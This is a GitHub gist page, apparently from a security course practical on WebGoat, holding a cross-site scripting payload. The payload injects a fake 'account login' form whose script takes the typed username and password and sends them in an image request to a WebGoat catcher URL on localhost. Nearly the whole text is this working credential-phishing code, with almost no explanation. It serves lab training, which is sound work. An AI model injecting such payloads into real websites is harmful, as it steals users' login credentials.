Skip to content

Instantly share code, notes, and snippets.

@Chaygois
Forked from jipengxiang/ST2515Practical3XSS
Created August 17, 2023 19:31
Show Gist options
  • Save Chaygois/5a15d8eec90b28f3fc3109b0b60d3502 to your computer and use it in GitHub Desktop.
Save Chaygois/5a15d8eec90b28f3fc3109b0b60d3502 to your computer and use it in GitHub Desktop.
<script>
function hack(){
alert("Login="+document.forms[0].user.value
+ "Password="+document.forms[0].pass.value);
XSSImage=new Image;
XSSImage.src="http://127.0.0.1:8080/WebGoat/catcher"
+"?PROPERTY=yes"
+"&user="+document.forms[0].user.value
+"&pass="+document.forms[0].pass.value;
}
</script>
<form>
<br><br><HR>
<H3>This feature requires account login:</H3>
<br><br>
Enter Username:<br><input type="text" id="user" name="user"><br>
Enter Password:<br><input type="password" id ="pass" name="pass"><br>
<input type="submit" name="login" value="login" onclick="hack()">
</form>
<br><br><HR>
Into this textbox:
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment